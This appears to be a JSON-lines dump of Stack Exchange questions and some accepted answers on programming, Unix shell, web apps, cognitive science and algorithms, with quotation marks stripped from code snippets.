{  "id": "_softwareengineering.306872"  , "question": "I'm reading this tutorial on Perlin noise:http://www.angelcode.com/dev/perlin/perlin.htmlwhich seems to be the clearest one but still not perfect. A lot of details are skipped and a lot of code unexplained.My general question is, why do we need vectors for Perlin noise (instead of just noise values at specific coordinates), why do they have to be unit vectors and how do we combine them with the given input point coordinates?Also, the article gives this piece of code as vector calculation which looks like trying to find out square cell coordinates (except 1 is subtracted instead of being added for some reason):// Computing vectors from the four points to the input pointfloat tx0 = x - floorf(x);float tx1 = tx0 - 1;float ty0 = y - floorf(y);float ty1 = ty0 - 1;This doesn't look like any vector operation."  , "title": "In Perlin noise, why need vectors and how to use them exactly?"  , "tags": "noise"  } 
{  "id": "_softwareengineering.183982"  , "question": "Some people run the bleeding edge of technologies - updating the day that something is updated.  In production, this isn't as appropriate.Researching about if the current (Java 7) version is ready for production produces a significant amount of old material that might not be correct anymore (at the time of this writing Java 7 has been out for a year and a half which seems plenty long).What considerations do I need to make to determine if it is appropriate to upgrade the production environment to a later version of Java?"  , "title": "Considerations on which Java version to run in Production"  , "tags": "java;software updates;production"  , "accepted_answer": "The first question to ask is Is the version of Java supported on the machine?  While updating the JRE is one thing, it may be that the underlying OS is not supported running the new version of Java (supported certifications and support contracts and the like that many enterprise environments like to have).Many java production environments are actually running on top of an application server.  This would be the next consideration.  Wikipedia comparison of Java EE App Servers shows what version of Java EE is supported.  This can be further seen in Oracle's JavaEE compatibility overview.  The tested configuration for JBoss Enterprise Application Platform 6 is against Java SE 6.0 update 6u30.  Java SE 6.0 update 6u30 is also the tested configuration for JBoss Application Server 7.1.0 Final.  These may work in Java 7, but they are not tested configurations.Expanding on the application server, there are live code analysis tools that are used to do debug after the fact.  Omniscient Debugger (see also) and Dynatrace are two examples of this.  These applications work by instrumenting (modifying) the live byte code of java running to report back to it.  As these applications work by modifying the byte code, if the byte code changes in a way they are not capable of working with (such as in a new JRE), they won't work.Next down the line is the frameworks.  One example of this is JAXB that comes with java and Spring which uses it.  Changing to Java 7 updated JAXB which generated code that was incompatible with some frameworks (which requires them to be updated and their dependencies would need to be updated...).Build tools are next on the list.  One would need to make sure that the build environment is using the proper version of Java.  Writing code for Java 7 but not updating the version that Maven or Ant uses would then cause problems.  There are times when the build tools themselves are strongly tied to one version with particular plugins.Testing tools.  Things such as PMD, findbugs, and checkstyle may not recognize new structures in a new version of Java - these may get very confused with string switch statements or compound catches.  Tools that get into instrumentation such as code coverage may not work in the new JVM.  In the context of Java 7, Cobertura and Emma have not been updated to the new JRE (again, these applications modify the byte code to see which code is run and which isn't) (see open source code coverage libraries for jdk7).  This could require a change to the build scripts to switch from one to another.Then there is the IDE.  One would need to update the IDE to a version that is aware of the new structures in the language.  Eclipse's announcement of support for Java 7 shows these issues.Last and certainly not least is the developer.  It is up to the developer to write the new code and be aware of how code can be restructured.  Going from Java 1.4 to 1.5, templates and annotations were introduced and it took time for the developers to get into the mindset of the new structures available.  Likewise the collections rework back in 1.2 and getting developers away from using HashTable and Vector.  Updating the version should be accompanied with some amount of training in the new language structures."  } 
{  "id": "_softwareengineering.168760"  , "question": "In some cases, I want to use referentially transparent callables while coding in Python. My goals are to help with handling concurrency, memoization, unit testing, and verification of code correctness.I want to write down clear rules for myself and other developers to follow that would ensure referential transparency. I don't mind that Python won't enforce any rules - we trust ourselves to follow them. Note that we never modify functions or methods in place (i.e., by hacking into the bytecode).Would the following make sense?A callable object c of class C will be referentially transparent  if:Whenever the returned value of c(...) depends on any instance attributes, global  variables, or disk files, such attributes,  variables, and files must not change for the duration of the program  execution; the only exception is that instance attributes may be  changed during instance initialization.When c(...) is executed, no modifications to the program state occur that  may affect the behavior of any object accessed through its public interface  (as defined by us).If we don't put any restrictions on what public interface includes, then rule #2 becomes:When c(...) is executed, no objects are modified that are visible outside  the scope of c.__call__.Note: I unsuccessfully tried to ask this question on SO, but I'm hoping it's more appropriate to this site."  , "title": "Guidelines for creating referentially transparent callables"  , "tags": "python;functional programming"  , "accepted_answer": "The goal of enforcing referential transparency (RP) may be a bit ambitious given the presence of file IO and global variables. Instead, you can make it a best practice, which basically seems like that you wish to do. Rules 1 and 2 will certainly push you into the direction of RP, but they are somewhat problematic. First of all, relying on the fact that a disk file doesn't change is risky. It is best to isolate IO to well defined parts of application code. The same holds for global variables. While it is true, that if global variables used by a function don't change, it would allow for RP, it may be too difficult to enforce. Instead, try to avoid global variables. Also, ensure that instance attributes are read-only. Given that Python is a multi-paradigm language, you can reap the benefits of functional programming as well as OOP. You can structure code such that there are purely functional parts which adhere to RP and there are imperative parts which glue everything together. OOP can be said to structure programs by encapsulating moving parts while FP can be said to reduce moving parts - use both paradigms."  } 
{  "id": "_unix.110700"  , "question": "In this example I can get 00.expr match 00 foo 99.jpg '[^0-9]*\\([0-9]\\+\\).*$'I want to know how to get last number from string, in this case 99 by using regular expression.The string may contain only a set of numbers like foo00.jpg, or several of them like 00 foo 11 bar 22 foo.jpg.How can I write the regular expression?"  , "title": "How to get numbers by using regular expression, but only last one"  , "tags": "shell script;regular expression"  , "accepted_answer": "file=00 foo 99.jpgexpr x$file : '.*[^0-9]\\([0-9]\\{1,\\}\\)'Don't use echo for arbitrary data, you can't use sed as sed works on lines and filenames can be made of several lines.match is not a standard operator of expr, : is the standard equivalent, so you might as well use it instead to avoid portability issues.Prefixing $file with x makes sure $file is not taken as an expr operator. (and in this case helps in cases where the numbers are not preceded by non-numbers).Note that the above has an unwanted side-effect that it returns a non-zero exit status if the returned number is 0 (or 00, 000...).\\+ is not a standard basic regexp operator. \\{1,\\} is the standard equivalent (though you could also write it [0-9][0-9]*).You don't need to use expr here, you could also use the shell (any POSIX shell) parameter expansion:file=00 foo 99.jpgnumber=x${file}xnumber=${number%[!0-9]*}number=${number##*[!0-9]}"  } 
{  "id": "_codereview.33684"  , "question": "I have a working solution for the given problem of A/B Optimization, but you as an experienced Python (3) developer will agree with me, that this solution is not very pythonic at all.My Question here is: How do I make this code more pythonic?It's a very procedural process that one would expect from a Basic program, but not from a Python program. Please help me to become a better coder and make pythonic code by working through this example with me.Here's the problem and my solution. ProblemIn this test you will be given a CSV containing the results of a website's A/B homepage test. The site is simultaneously testing 5 design variables (A, B, C, D, and E) and tracking if users clicked on the signup button (Z). Each line of the CSV represents a visitor to the homepage, what they saw, and if they clicked or not. The A-E variables will have values of 1-5, representing which version of that design element was shown to the user. The Z variable will contain either a 1 to represent that the user clicked signup, or a 0 to represent that the user did not.A B C D E Z1 3 1 2 4 13 2 1 5 5 04 3 2 2 5 15 5 2 3 4 02 4 1 3 4 0...Your task will be to determine the single combination of A-E values that will make users most likely to click the signup button. Assume the effects of each A-E value are mutually exclusive. If two values of a variable are equally optimal, choose the lesser value. You will enter the answer in the form of a 5-digit number, the first digit being the optimal A value, the second being the optimal B value, the third being the optimal C value, etc.Solutionfrom urllib.request import urlopendef getBestDesign(url):    data = urlopen(url).readlines()    A = {}; B = {}; C = {}; D = {}; E = {};    A['1'] = 0    A['2'] = 0    A['3'] = 0    A['4'] = 0    A['5'] = 0    B['1'] = 0    B['2'] = 0    B['3'] = 0    B['4'] = 0    B['5'] = 0    C['1'] = 0    C['2'] = 0    C['3'] = 0    C['4'] = 0    C['5'] = 0    D['1'] = 0    D['2'] = 0    D['3'] = 0    D['4'] = 0    D['5'] = 0    E['1'] = 0    E['2'] = 0    E['3'] = 0    E['4'] = 0    E['5'] = 0    for row in data:        row = row.decode(encoding='UTF-8').split('\\t')        if row[5].startswith('1'):            A[str(row[0])] += 1            B[str(row[1])] += 1            C[str(row[2])] += 1            D[str(row[3])] += 1            E[str(row[4])] += 1    maxclicks_A = max(A.values())    maxclicks_B = max(B.values())    maxclicks_C = max(C.values())    maxclicks_D = max(D.values())    maxclicks_E = max(E.values())    for k, v in A.items():        if v == maxclicks_A:            print('A: ', k)    for k, v in B.items():        if v == maxclicks_B:            print('B: ', k)    for k, v in C.items():        if v == maxclicks_C:            print('C: ', k)    for k, v in D.items():        if v == maxclicks_D:            print('D: ', k)    for k, v in E.items():        if v == maxclicks_E:            print('E: ', k)if __name__ == __main__:    url = input('Url: ')    getBestDesign(url)"  , "title": "How to turn this working A/B optimization program into more pythonic code?"  , "tags": "python;optimization;python 3.x"  } 
{  "id": "_softwareengineering.196477"  , "question": "I need to implement some graph partitioning algorithms for my thesis. I have mostly Windows experience. I would like to know if it is hard to migrate c++ console program to Linux. I want to program it on Windows but I want to test and compile it on Linux as well. It will be pure cli application, with no use of windows APi or anything. I just need to use some external libraries. Specifically GNU linear programming kit and GNU scientific library GSL.I found out, there are windows versions of these libraries, what does it mean for me?, should I compile it on Windows with windows version package and on Linux with linux package. I would like someone to bring a bit clarity to this, I am really not very experienced programmer, so any advice will help. Also I would like to ask, if there is diference if I use Visual Studio for programming or some other IDE in matter of portability issues. Thanks in advance for any help."  , "title": "How to port cli c++ program with GNU libraries from windows to Linux"  , "tags": "c++;windows;linux;libraries;portability"  } 
{  "id": "_webapps.92786"  , "question": "I have a picture of a friend however I've lost contact with them and can't find them by name. Is there a way to use this picture to find their Facebook profile?"  , "title": "Find Facebook user from picture"  , "tags": "facebook;facebook profile"  } 
{  "id": "_unix.138776"  , "question": "If I have numerous jobs that rely on environment variables, how can I submit them sequentially? Here is my attempt that has not been working, week 6 is always submitted (and finishes) before week 5.    #!/bin/sh    (export id=me;     export pass=welcome;     export week=5;     sas -log $HOME/logs/log$week.log sasjob.sas > /dev/null;     export week=6;     sas -log $HOME/logs/log$week.log sasjob.sas > /dev/null;    ) &I need the statements to run in exact sequential order on completion."  , "title": "Submitting jobs with sequential completion"  , "tags": "shell script;job control"  } 
{  "id": "_cstheory.21990"  , "question": "I have a set of polygons (convex, concave  non-convex, not self-intersecting) in a plane. There may be intersections between polygons.Polygon is defined by points (cartesian coordinate system).Please see the example image:There is 2 polygons: the first is { A, B, C, D } and the second is { E, F, G }.QuestionHow can I detect bounding face by the given point?Solution for point 1 is { A, B, the intersection between |BD| and |EF|, F, the intersection between |FG| and |DC|, C, A }.My ideaI tried some alghoritmus for boolean operations on polygons, but I think that this is not the right approach.I can insert intersection points into original polygons and subdivided the original edge. After that, there is no intersection between polygon's edges.Can I use some graph theory algorithm or algorithm for space partitioning?"  , "title": "Locating a point inside a union of simple polygons"  , "tags": "computational geometry"  } 
{  "id": "_softwareengineering.206840"  , "question": "I was asked this question How would you find weight of Aeroplane in an interview and I am not sure why this question was one of the two question asked in the interview.I tried to answer it using all possible ways but could not give the correct answer.(found the correct answer after google search)How much such questions decide your selection in the interview?Here was my approach:1. If measurement of plane is given then i will calculate volume and multiply by density, will consider fuel weight plus other dead weight.2. Using water displacement method if i can put plane in water and somehow measure how much water is displaced.But found using google search that right approach was to put place on a ship and mark the level of water on the hull, then remove plane and then ship will go up.And start putting weight on the ship till marked hull reaches the water level."  , "title": "What is the intention behind asking weight of plane?"  , "tags": "interview"  , "accepted_answer": "Job Interview 2.0: Now With Riddles! would be an article from TheDailyWTF that notes some of these including the weight of a 747, which is a type of plane:Thankfully, Microsoft realized that the type of people who enjoy these  riddles arent always good programmers, and good programmers arent  always the type who enjoy these riddles. In fact, some of the folks  who can solve these riddles are precisely the type of people you dont  want as programmers. Would you want to work with the guy who builds a  water-displacement scale/barge, taxis a 747 to the docks, and then  weights the jumbo jet using that, instead of simply calling Boeing in  the first place?Unfortunately, Microsofts realization came too late: a whole  mini-industry has spawned around the concept of Job Interview 2.0. If  Microsoft did it, it must work, right? There are books written on  brainteasers in the interview, consultants who will help your company  annoy the hell out candidates with your very own custom brainteasers,  and now, everyone from small software firms to big ole banks are  asking stupid riddle questions.The key point in these questions is that it isn't so much that there is a correct answer as much as it is how well can you communicate how you'd solve this problem and upon revisions to the problem, what alternative approaches would you take.  For the weight of a plane, I'd probably look at specifications which should note this as part of the basics about the plane.  Failing that, then there are a few other approaches one can take."  } 
{  "id": "_unix.194249"  , "question": "My question is as stated above, on a FreeBSD system, what is the use of the kern.geom.debugflags ?I see it written before the command to write on to a disk.sysctl kern.geom.debugflags=16 What does it do and is there any Linux equivalent of the following command?"  , "title": "What is the purpose of flag kern.geom.debugflags in FreeBSD?"  , "tags": "linux;filesystems;freebsd"  } 
{  "id": "_softwareengineering.221539"  , "question": "The problem is the following.There's a set of simple entities E, each one having a set of tags T attached. Each entity might have an arbitrary number of tags.Total number of entities is near 100 million, and the total number of tags is about 5000.So the initial data is something like this:E1 - T1, T2, T3, ... TnE2 - T1, T5, T100, ... Tk..Ez - T10, T12, ... TlThis initial data is quite rarely updated.Somehow my app generates a logical expression on tags like this:T1&T2&T3 | (T5&!T6)What I need to is to calculate a number of entities matching given expression (note - not the entities, but just the number). This one might be not totally accurate, of course. What I've got now is a simple in-memory table lookup, giving me a 5-10 seconds execution time on a single thread. I'm curious, is there any efficient way to handle this stuff? What approach would you recommend? Is there some common algorithms or data structures for this?UpdateA bit of clarification as requested.T objects are actually relatively short constant strings. But it doesn't actually matter - we can always assign some IDs and operate on integers.We definitely can sort them."  , "title": "Algorithm for fast tag search"  , "tags": "algorithms;optimization"  } 
{  "id": "_webapps.56570"  , "question": "I've read that you have to watch the video to be able to share, and like, there should be a share button, but on mine, there is no videos to watch. They're just photos, and if I click on them, it just takes me to the original place they were at.I also had refreshed the page multiple times, yet the button does not show. "  , "title": "How to Share the facebook Lookback?"  , "tags": "facebook;facebook lookback"  } 
{  "id": "_webapps.76710"  , "question": "I created a button in Google Spreadsheet. When I push the button a custom window appears. In that window I have two buttons, one to close and one to see a new window. Everything goes well except the second button, to view a new window. I already programmed this. The button with value oefening 1 doesn't work. I want to see a new panel. When I test the function: oefeningshow() it is correct! Can you please help me?<form> <p><label id=naam> </label> uit <label id=klas></label> </p> <input type=button value=oefening 1 onclick=oefeningshow() />      <input type=button value=Close Sidebar click=google.script.host.close() /></form> <script>  function onOpen() {   SpreadsheetApp.getUi() // Or DocumentApp or FormApp.  .createMenu('Dialog')  .addItem('Open', 'openDialog')  .addToUi();  }   function oefeningshow() {   var html = HtmlService.createHtmlOutputFromFile('oefening1')  .setSandboxMode(HtmlService.SandboxMode.IFRAME).setWidth(400)  .setHeight(300);  SpreadsheetApp.getUi() // Or DocumentApp or FormApp.  .showModalDialog(html, 'oefening1');  }"  , "title": "I created a button in a panel (dialogue window), when I push the button I'd like to appear a new panel (dialogue) window"  , "tags": "google spreadsheets;google apps script"  } 
{  "id": "_codereview.109786"  , "question": "I have one window service. At any given time this window service runs 5-10 threads and each thread do some logging on text file. Logging can be exception or some information related to task/job. I have to make sure all the log should be in sequence with date and time. This is so important. Log file should create every day. If date change it should create new file and add log in new file. I have create one class which does this. Actually its two classes.I used static variables for file name, file path and others, because I don't want to read configuration or create/destroy object every time(in logging process). Do you see anything which may cause an issue, or how I can improve performance?class LoggingWorker{    class LogDetail    {        public string Data;        public DateTime LogDate;        public LogDetail(string _Data)        {            Data = _Data;            LogDate = DateTime.Now;        }    }    #region Private variables    private static Object thisLock = new Object();    static string LogFileName = MyJobs.;    static bool isVerboseMode;    static string LogFilePath;    static Thread thLogging;    static StreamWriter ofileWrite;    static Queue<LogDetail> _LogsQ;    static bool runLogging;    #endregion    /// <summary>    ///     /// </summary>    static LoggingWorker()    {        //Reading from Config file        isVerboseMode = AppSettings.GetSettingBool(Logging.Verbose);        LogFilePath = AppSettings.GetSetting(Logging.Path);        _LogsQ = new Queue<LogDetail>();        if (!Directory.Exists(LogFilePath))        {            Directory.CreateDirectory(LogFilePath);        }        CreateFile();        runLogging = true;        thLogging = new Thread(StartLogging);        thLogging.Start();    }    ~LoggingWorker()    {        runLogging = false;    }    private static StringBuilder GetErrorTrace(ref Exception ex)    {        StackTrace objTrace = new StackTrace(ex, true);        StringBuilder strError = new StringBuilder();        strError.Append(Source ::  + ex.Source);        strError.Append(\\r\\nError ::  + DateTime.Now.ToString());        strError.Append(\\r\\nError Description :  + ex.Message);        strError.Append(\\r\\nInner Exception :  + ex.InnerException + \\r\\n\\r\\n);        StackFrame sf;        for (int i = objTrace.FrameCount - 1; i > -1; i--)        {            sf = objTrace.GetFrame(i);            if (sf.GetFileLineNumber() < 1)                continue;            strError.Append(Method Name :  + sf.GetMethod() + \\r\\n);            strError.Append(File Name :  + sf.GetFileName() + \\r\\n);            strError.Append(Line Number :  + sf.GetFileLineNumber() + \\r\\n\\r\\n);        }        return strError;    }    protected static void AddInLogQ(string msg, Exception ex)    {        msg = msg + \\t + GetErrorTrace(ref ex).ToString();        AddInLogQ(msg);    }    protected static void AddInLogQ(Exception ex)    {        AddInLogQ(GetErrorTrace(ref ex).ToString());    }    protected static void AddInLogQ(string Data)    {        try        {            lock (thisLock)            {                _LogsQ.Enqueue(new LogDetail(Data));            }        }        catch (Exception ex)        {            EventLog.WriteEntry(AddInLogQ Failed., ex.Message + ex.StackTrace + \\nOrignal Message: + Data, EventLogEntryType.Error);        }    }    protected static void StartLogging()    {        LogDetail oTmp;        string sFileName;        while (runLogging)        {            if (_LogsQ.Count > 0)            {                lock (thisLock)                {                    oTmp = _LogsQ.Dequeue();                }                //When Date change create new file.                sFileName = LogFilePath + \\\\ + LogFileName + DateTime.Today.ToString(yyyy_MM_dd) + .log;                //File is not exist so create new file.                if (!File.Exists(sFileName))                {                    FileStream fs = File.Create(sFileName);                    fs.Close();                    if (ofileWrite != null)                    {                        ofileWrite.Close();                    }                    ofileWrite = new StreamWriter(sFileName, true);                }                ofileWrite.WriteLine(oTmp.LogDate.ToString(hh:mm:ss:fff tt) +  \\t + oTmp.Data);                ofileWrite.Flush();            }            else            {                Thread.Sleep(500);            }        }        if (ofileWrite != null)        {            ofileWrite.Close();        }    }    protected static void CreateFile()    {        //When Date change create new file.        string sFileName = LogFilePath + \\\\ + LogFileName + DateTime.Today.ToString(yyyy_MM_dd) + .log;        //File is not exist so create new file.        if (!File.Exists(sFileName))        {            FileStream fs = File.Create(sFileName);            fs.Close();            if (ofileWrite != null)            {                ofileWrite.Close();            }            ofileWrite = new StreamWriter(sFileName, true);        }    }    protected static void _StopLogging()    {        runLogging = false;    }}// This is the class which I used to Add Log from different threads/Jobs.    internal class Logging : LoggingWorker{    public static void StopLogging()    {        _StopLogging();    }    internal static void CreateLog(string msg, Exception ex)    {        AddInLogQ(msg, ex);    }    internal static void CreateLog(Exception ex)    {        AddInLogQ(ex);    }    internal static void CreateLog(string Data)    {        AddInLogQ(Data);    }}"  , "title": "Daily Log file - Multithread with date and time"  , "tags": "c#;multithreading;logging"  } 
{  "id": "_webmaster.11728"  , "question": "I have optimized a website and have included toggled content. By toggled content I mean content that becomes visible after clicking a link (Expand and Collaps). The code is as followings:<li id=article-1> <h3><a href= onClick=$('#article-1 p').not(':first').toggle(); return false;>Article title</a></h3> <p>First paragraph</p> <p>Second paragraph</p> <p>Third paragraph</p> </li>Would Google consider this content less valuable since it is not 'directly' visible? Are there any key concepts to keep in mind when working with toggled content?"  , "title": "Google on toggled content"  , "tags": "seo;google;content"  , "accepted_answer": "This content isn't special, good or bad, in any way. The only time hidden content becomes a problem is when it is hidden for sole purpose of manipulating the search results. "  } 
{  "id": "_opensource.2449"  , "question": "I wonder whether Open Source libraries used within firmware burnt (in flash or ROM) in an IC that is sold to customers building products with it requires the final manufacturer to give credits (attribution) to the OSS project.Perhaps this is better described with an example:IC Manufacturer A builds a new chip that contains an Open Source SPI library licensed under the 3-clause BSD license. Manufacturer A credits the OSS project on its webpage.Product Manufacturer B buys a reel of those chips and manufactures a new toy that contains the chip on the motherboard.Is Manufacturer B also obliged to credit the OSS project, even though it only indirectly redistributed the SPI library in binary form?"  , "title": "Open Source libraries inside IC firmware and attribution obligation"  , "tags": "licensing;attribution;firmware"  } 
{  "id": "_unix.111507"  , "question": "I wanted the output of thinkfan -n output with a timestamp next to it so I can later analyse the patterns, and found this question: Prepending a timestamp to each line of output from a command, which had a seemingly good answer to this problem, namely using: thinkfan -n | tsExcept it doesn't work. ts works fine with all other programs I tried, just not with thinkfan. Why doesn't it work with thinkfan? Is there some way to get this to work?   "  , "title": "Timestamp ts not working with thinkfan"  , "tags": "shell;timestamps;thinkpad"  , "accepted_answer": "There are two output streams from a programstandard output and standard error. | redirects standard output, leaving standard error going straight to your terminal.You can redirect both:thinkfan -n 2>&1 | ts    # should work everywherethinkfan -n |& ts        # newer versions of bash, maybe other shells"  } 
{  "id": "_codereview.158391"  , "question": "I try to improve my code so that I don't have to program a try - catch block all the time.e.g. at the moment I have to write many codeblocks like this:try {    $login_feld = $SeleniumObj->driver->findElement(WebDriverBy::id(login_feld));} catch(NoSuchElementException $exception) {    $SeleniumObj->setErrorMessage(1 ID login_feld does not exist., $exception,  true, login_field);    break;}try {    $password_field = $SeleniumObj->driver->findElement(WebDriverBy::id(password_field));} catch(NoSuchElementException $exception) {    $SeleniumObj->setErrorMessage(1 ID password_field does not exist., $exception,  true, login_field);    break;}try {    $field3 = $SeleniumObj->driver->findElement(WebDriverBy::id(field3));} catch(NoSuchElementException $exception) {    $SeleniumObj->setErrorMessage(1 ID field3 does not exist., $exception,  true, login_field);    break;}My goal is to reduce this to one line.Therefore I outsourced the whole driver->findElement(WebDriverBy::id(xy)); to a new function from the class Selenium called ById/** *  * @param id $id * @param bool $takeScreenshot * @return void */public function ById($id, $takeScreenshot=false){    try {        return $this->driver->findElement(WebDriverBy::id($id));    } catch(NoSuchElementException $exception) {        $this->setErrorMessage(ID '$id' does not exist., $exception,  $takeScreenshot, $id);        //break;  <- does not work in this context    }}Now theoretically I can code the whole block like this:$login_feld = $SeleniumObj->ById('login_feld', true);$password_field = $SeleniumObj->ById('password_field', true);$field3 = $SeleniumObj->ById('field3', true);However, one problem still persist. I can't call break in the exception block in the function ById, otherwise I get break' not in the 'loop' or 'switch' contextNow to solve this I could instead return a status, e.g. false if the code reached in the exception block and then check this before proceeding /** *  * @param id $id * @param bool $takeScreenshot * @return void */public function ById($id, $takeScreenshot=false){    try {        return $this->driver->findElement(WebDriverBy::id($id));    } catch(NoSuchElementException $exception) {        $this->setErrorMessage(ID '$id' does not exist., $exception,  $takeScreenshot, $id);        return false;    }}-$login_field = $SeleniumObj->ById('login_field', true);if ($login_field == false) { break; }$pw_field = $SeleniumObj->ById('pw_field', true);if ($pw_field == false) { break; }$field3 = $SeleniumObj->ById('field3', true);if ($field3 == false) { break; }But now I need two lines per block instead of one. Is it possible to improve this even further?"  , "title": "Handling missing elements on login form in Selenium"  , "tags": "php;error handling;form;authentication;selenium"  } 
{  "id": "_unix.366209"  , "question": "apt-get update command updates the package list of the repository in our systemapt-get upgrade upgrades the programs if the package version of the new program does not match the current installed version.apt-cache show shows the detailed information of the package but does not show the date it was released.But none of these mentions the exact date when the package was updated.Although we can note the version of the package and visit it's website to see when it was released but is there any way of finding out when the specific/current package version was released on the repository (terminal options would be more helpful)?"  , "title": "How to know when the package was updated in the repository"  , "tags": "package management"  , "accepted_answer": "You can search for the package on tracker.debian.org, under news you can see when things happened."  } 
{  "id": "_unix.105453"  , "question": "I have certain modules which I need compiled into the kernel.  Some of these modules require firmware, which used to be automatically included from /usr/src/linux/firmware/.  However, no new firmware will be added to this directory, and kernel modules are gradually switching to firmware from /lib/firmware instead.  Each time this happens, it appears I need to add the firmware name to CONFIG_EXTRA_FIRMWARE in Kconfig.Is there some way I can automatically collect the list of firmware blobs needed by my compiled-in modules and have them built into the kernel like the CONFIG_EXTRA_FIRMWARE option?To clarify: I could make a list of all drivers I'm building into the kernel, search their source code for references to firmware blobs, and then set CONFIG_EXTRA_FIRMWARE to this list of files. But this process would be time consuming and error prone. I want it to happen automatically and reliably."  , "title": "How can I automatically include all firmware needed by selected Linux kernel modules"  , "tags": "compiling;drivers;linux kernel;kernel modules;firmware"  } 
{  "id": "_cogsci.1948"  , "question": "I tried thinking about an apple and simultaneously an orange. (I was thinking about its appearance and taste). Despite my best efforts I was not able to do parallel processing to think about the apple and orange at the same time. What I was doing was concurrent processing, thinking about Apple and orange in time division multiplexing. I noticed that my brain (which is also responsible for thinking) was indeed able to manage my two hands simultaneously, and was able to help me understand sounds comings from multiple sources, so it was helping me to see many things at the same time, in parallel, not concurrently. I have asked a similar question here which compares processing by the brain with parallel processing by computers.    How exactly we explain these differences of operation by brain in dealing with sensory data (for example touch which can be felt in parallel), and thinking or visualization?        "  , "title": "How does the brain process concurrent visual or sensory data?"  , "tags": "cognitive psychology;cognitive modeling"  } 
{  "id": "_cogsci.17179"  , "question": "Is it true that stimulants and the neurotransmitters they mimic, push into the synapse, or keep in the synapse (e.g. dopamine, norepinephrine, acetylcholine) make neurons fire more often, while inhibitory depressants (e.g. GABA) make them fire less often?"  , "title": "Is it true that stimulants make neurons fire more often, and depressants make them fire less often?"  , "tags": "neurobiology;neurophysiology"  } 
{  "id": "_webmaster.107766"  , "question": "My website has poor speed both for desktops and mobile. We are not authorized to minimize images. What is the best option to speed this up? It is in WordPress. We have also used plugins like WordPress Total Cache."  , "title": "Speeding up website"  , "tags": "performance"  } 
{  "id": "_cogsci.16224"  , "question": "...with computer models?( hacking the executive functions of something like this, for making the algorithm more impulsive, or inattentive.)...with animal models?( using SHR rat-like, animals with higher intellect, and more sociability. (apropos, the similarity is superficial only for me? )"  , "title": "Best way to modeling ADHD?"  , "tags": "neurobiology;computational modeling;adhd;genetics;executive function"  , "accepted_answer": "The approach you would take will depend upon your level of analysis. For instance, one could choose to model an entire individual's behaviour (i.e. with heuristic models), the activity of neural circuits, the activity of a subset of neural populations, etc. By your question including traits such as impulsivity, I will assume that you are looking to model an individual's behaviour. I would suggest starting by using reinforcement learning models, where there exist parameters that can be directly interpreted as behavioural traits. For instance, in the following SARSA rule,$$\\mathcal{Q}_t(s_t, a_t; \\alpha, \\gamma) = \\mathcal{Q}_{t-1}(s_t, a_t) + \\alpha \\Big( r_t + \\gamma \\mathcal{Q}_{t-1}(s_{t+1}, a_{t+1})-\\mathcal{Q}_{t-1}(s_t, a_t) \\Big),$$the $\\gamma$ parameter --- where $0 \\leq \\gamma \\leq 1$ --- is representative of delay discounting, which is related but not equivalent to impulsivity. Note that I have omitted $\\lbrace \\alpha, \\gamma \\rbrace$ from the $\\mathcal{Q}$ expressions on the right hand side for notational simplicity. Another potentially related measure of impulsivity could be the inverse softmax temperature $\\beta$$$P(a_t | \\mathcal{Q}_t(s_t, a_t; \\alpha, \\gamma), \\beta) = \\frac{e^{\\beta \\mathcal{Q}_t(s_t, a_t; \\alpha, \\gamma)}}{\\sum_{a' \\in \\mathcal{A}}e^{\\beta \\mathcal{Q}_t(s_t, a'; \\alpha, \\gamma)} },$$where $\\mathcal{A}$ is the space of all possible actions. The inverse softmax temperature can be thought of as a measure of decision randomness. The above were just some small points that might get you started. I can think of a few other ways to approach the problem (indeed there are some other necessary considerations), but won't outline them here to keep the answer parsimonious. Notwithstanding, I think you might be interested in the following paper:Hauser, T. U., Fiore, V. G., Moutoussis, M., & Dolan, R. J. (2016). Computational Psychiatry of ADHD: Neural Gain Impairments across Marrian Levels of Analysis. Trends in Neurosciences, 39(2), 6373."  } 
{  "id": "_codereview.3018"  , "question": "Here is my program which creates a linked list and reverses it:#include<stdio.h>#include<stdlib.h>struct node {    int data;    struct node *next;};struct node *list=NULL;struct node *root=NULL;static int count=0;struct node *create_node(int);//function to create nodevoid travel_list(void);void create_list(int);void reverse_list(void);int main(){    int i, j, choice;    printf(Enter a number this will be root of tree\\n);    scanf(%d, &i);    create_list(i);    printf(Enter  1 to enter more numbers \\n 0 to quit\\n);    scanf(%d, &choice);    while (choice!=0){     printf(Enter a no for link list\\n);        scanf(%d,&i);//  printf(going to create list in while\\n);    create_list(i);        travel_list();     printf(Enter  1 to enter more numbers \\n 0 to quit\\n);    scanf(%d, &choice);    }    printf(reversing list\\n);     reverse_list();     travel_list(); }// end of function mainvoid create_list (int data){ struct node *t1,*t2; //printf(in fucntion create_list\\n); t1=create_node(data); t2=list; if( count!=0) {   while(t2->next!=NULL)   {   t2=t2->next;   } t2->next=t1; count++; } else   {   root=t1;   list=t1;   count++;  }}struct node *create_node(int data){    struct node *temp;    temp = (struct node *)malloc(sizeof(struct node));        temp->data=data;    temp->next=NULL;  //      printf(create node temp->data=%d\\n,temp->data);//  printf(the adress of node created %p\\n,temp);    return temp;}void travel_list(void ){ struct node *t1; t1=list; printf(in travel list\\n); while(t1!=NULL) { printf(%d-->,t1->data); t1=t1->next; } printf(\\n);}void reverse_list(void){    struct node *t1,*t2,*t3;       t1=list;    t2=list->next;    t3=list->next->next;    int reverse=0;   if(reverse==0)   {    t1->next=NULL;    t2->next=t1;    t1=t2;    t2=t3;    t3=t3->next;    reverse++;    }    while(t3!=NULL)     {     t2->next=t1;    t1=t2;    t2=t3;    list=t1;    travel_list();    t3=t3->next;    }    t2->next=t1;    list=t2;}I am posting it for further review if there can be any improvements to the algorithm, etc."  , "title": "Creating and reversing a linked list"  , "tags": "c;linked list"  } 
{  "id": "_cs.40067"  , "question": "I've been trying to understand time complexity and space complexity by writing my own snippets of code and solving them. Can you see if I'm correct?for(int i=1 i<=n i*=2) c = i+8for(int j=n j>0  j/=2) a[j] = 8I think the time complexity is $O(log_2n)$ and the space complexity is $O(n)$.for(int i = 1 i<=ni*=2)    for(int j=n  j>0  j/=2)        a[j] = 8In this case, the time complexity is $O((log_2n)^2)$ and the space complexity is $O(n)$.What do you think?"  , "title": "Runtime and space usage of a snippet of code"  , "tags": "algorithm analysis;runtime analysis;space analysis"  } 
